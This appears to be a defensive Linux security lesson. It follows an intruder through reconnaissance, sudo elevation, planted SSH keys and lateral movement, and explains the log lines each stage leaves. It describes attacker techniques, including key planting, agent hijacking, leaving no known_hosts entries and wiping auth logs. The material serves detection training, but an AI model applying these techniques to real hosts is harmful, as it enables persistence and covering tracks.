The intrusion chain on Linux

Initial access to lateral movement, and its traces.

The last lesson mapped the surface an intruder lands on. This one follows one intruder across it, stage by stage, and reads the trace each stage leaves. An intrusion is regular enough to name its steps: initial access (the first foothold, usually a weak account), reconnaissance (learning the host and what it reaches), credential abuse (using a valid account's rights, often to become root), and lateral movement (using SSH to reach the next account or host). Naming the stages gives you a map you can use twice, once to catch an intrusion while it runs and again to reconstruct it afterward. By the end you can generate each stage's trace safely and recognise the exact log lines a default Ubuntu 26.04 server writes, from the sudo record to the sshd-session login lines of its OpenSSH 10.2.

Initial access and reconnaissance

A thief who climbed through a window stops and listens before moving. The Linux version is a burst of read-only commands that answer who am I, what is this machine, and what can I reach. Create a stand-in service account for the foothold (a throwaway, removed at the end of the lesson) and run the commands as it, so the output is what the intruder actually sees.

Four facts land in seconds. The account is kc-www, unprivileged, in no useful groups. The kernel is 7.0.0-34-generic on aarch64, a version the intruder can match against public exploit lists (an x86_64 server would print x86_64 here, which changes which prebuilt exploits apply). The listeners show port 22 and the resolver. One detail is a gift to the defender: the Process column in ss is blank, because a non-root account cannot see the processes behind sockets it does not own, so the blank column is itself a sign the command ran as a low-privilege user. A web service account that suddenly runs id, uname and ss back to back, with no human pauses, is doing something it was never built to do; no single command is the tell, the burst is. Reconnaissance maps to the Discovery tactic in MITRE ATT&CK: id is System Owner/User Discovery (T1033) and uname is System Information Discovery (T1082).

Credential abuse: a valid account that is already root

The easiest escalation is no escalation. If the intruder can reach an account that already holds sudo, becoming root is one command, and it is authorised. That is why stolen or reused credentials for a valid account (MITRE ATT&CK calls this Valid Accounts, T1078) are worth more than any exotic bug. Assume the intruder then stole deploy's SSH key or hijacked one of its sessions. deploy holds broad sudo rights, and the intruder uses them.

uid=0(root): the machine is theirs. The important half is that sudo does not do this quietly. sudo-rs, the sudo on Ubuntu 26.04, writes every invocation to syslog.

One line names the invoking account deploy, the target USER=root, the working directory and the exact command run as root. Read as detection, an account whose baseline never elevates at that hour, or from that directory, doing so is worth an alert; deploy and CI accounts that elevate as part of their normal work need a baseline of their own, or the alert fires all day.

Know the record's limits too. The line records the elevation, not what happened afterwards: sudo -i or sudo bash writes one line naming the shell, and nothing typed in that root shell reaches the sudo log. sudo-rs on Ubuntu 26.04 has no session I/O logging (its sudoers(5) has no log_output), while classic sudo on RHEL does. What a root shell does is the audit pipeline's job (execve records keyed on the login identity, linux-det/auditpipe). And an account with NOPASSWD: ALL can rewrite /var/log/auth.log and vacuum the journal with its first root command, so the line only counts as evidence once it has left the host.

This is Abuse Elevation Control Mechanism: Sudo and Sudo Caching (T1548.003), and the sudo log is where it surfaces. The privilege-escalation lesson (linux-det/peloc) covers the sudo rules that turn a narrow grant into a full root shell; here the point is simpler, that using a legitimate credential still leaves a record tying root back to a human account.

SSH abuse and lateral movement

Having root on one host, an intruder spreads. SSH is the usual road, because reusing a key looks exactly like normal administration. A public key in an account's authorized_keys file lets the matching private key log in with no password and no further exploit, so a key the owner never added is both a way back in and a way onward. To produce that trace safely, the lab plays both sides with a second local account, kc-mover: it creates the account, generates a key pair as deploy (standing in for a key the intruder copied), installs the public half in kc-mover's authorized_keys (standing in for a key the intruder added with root), and records localhost's host key in a private known_hosts file so the login can verify it.

Now read the target account's authorized keys the way a defender should.

That is an ed25519 key with no options in front of it. Options such as from="10.0.0.0/8" or restrict limit where a key can be used from and what it can do, and they are good hygiene, but most legitimate keys in real fleets carry none, so "no options" is not the signal. The signal is a key your source of truth did not put there: configuration management, an identity provider behind AuthorizedKeysCommand, or a reviewed inventory. A key that is not in that inventory, with or without options, is a persistence and lateral-movement marker (Account Manipulation: SSH Authorized Keys, T1098.004). Check where sshd really reads keys from before you trust a sweep of home directories, because an intruder with root prefers the places a sweep forgets: root's own keys, an AuthorizedKeysFile override in /etc/ssh/sshd_config.d/, or a key command.

sshd -T prints the effective configuration after every drop-in is applied. Here keys come from each user's .ssh/authorized_keys and .ssh/authorized_keys2 (the second name is an old default that is still read), and no key command is set. A changed line here is as important as a new key. Now watch the login the planted key enables.

The intruder is now kc-mover. Lateral movement over SSH is Remote Services: SSH (T1021.004), and OpenSSH (10.2 on Ubuntu 26.04) records it in detail. The session and authentication events no longer come from a process called sshd. On Ubuntu, ssh.socket holds port 22 and starts the sshd listener (ssh.service) once, on the first connection (linux-det/threatmodel showed this). The listener then hands each connection to its own sshd-session process, and that is the name in the log.

Accepted publickey for kc-mover ... SHA256:... records the exact key fingerprint that authenticated, so you can tell which key was used, and session opened for user kc-mover marks the login. The by kc-mover(uid=0) part is PAM naming the login and the user ID of the process that opened the session, which is the root-owned sshd-session monitor; it does not mean root logged in. The fingerprint is worth capturing: it lets you match a login to a specific key you found in authorized_keys, which is how you connect "a key was planted" to "the key was used". One more artifact travels with the intruder: the account's known_hosts file, which records the hosts it connected to.

known_hosts is a map of where an account has been. Ubuntu hashes the hostnames by default (HashKnownHosts yes in Debian's and Ubuntu's /etc/ssh/ssh_config, the |1|... form), so you cannot read the destinations straight off, but ssh-keygen -l -f still counts the entries and ssh-keygen -F host tests whether a specific host is in it. RHEL does not set that option, so there the names are plain text. On a compromised account it is a lead list of hosts reached from here, never a complete one: a client records only what it chooses to, and -o UserKnownHostsFile=/dev/null (or a throwaway file, as this lab used) leaves nothing in the account's own file. An empty known_hosts is not evidence of no lateral movement.

Two related tricks belong to the same stage. Agent forwarding (ssh -A) lets a login on one host use the keys held by your local agent to authenticate onward, so a compromised intermediate host can hijack the agent and move as you. Reused keys, one private key accepted on many hosts, turn a single stolen key into fleet-wide access. Both are why key hygiene, per-host keys and restrict options, is a lateral-movement control, not just tidiness.

Catch one link and the chain breaks

The stages run in order, and that is the defender's advantage: the attacker has to pass every stage cleanly, and you only have to catch one. You did not need to see the original exploit to arrive here. You could have flagged the recon burst, the sudo elevation, the new key in authorized_keys, or the sshd-session login from an unusual source, and any one of them pulls the whole thread loose and hands you an account, a time and a file to reconstruct the rest from. The lessons ahead build the durable version of each catch: the audit pipeline (linux-det/auditpipe) for the elevation and the key write, forensic artefacts (linux-det/artifacts) for the login records, and detections that survive contact (linux-det/detections) for keying on the move rather than the name.

Try this

On a lab host, remove this lesson's accounts first (sudo userdel -r kc-mover, sudo userdel kc-www, rm -r /tmp/kc-stage). Then create a throwaway user, generate an ed25519 key for it, append the public key to its own ~/.ssh/authorized_keys, and ssh to localhost as that user with the key. If you applied the AllowGroups baseline from linux-hard/ssh, add the user to your allowed group first, or sshd refuses the login. Then find your own trace: journalctl -t sshd-session --since "-5 min" should show Accepted publickey and session opened for that user, with the key fingerprint. Confirm the login came from sshd-session and not sshd. Remove the user and its home to clean up. You have generated and then read one link of the chain, which is exactly how you prove a detection fires before you need it.

Takeaway

Learn the trace each stage leaves and where it lands: sudo elevation in journalctl -t sudo, SSH logins in sshd-session records, and new keys in authorized_keys. You only have to catch one link, so instrument the stage the attacker cannot skip.

Related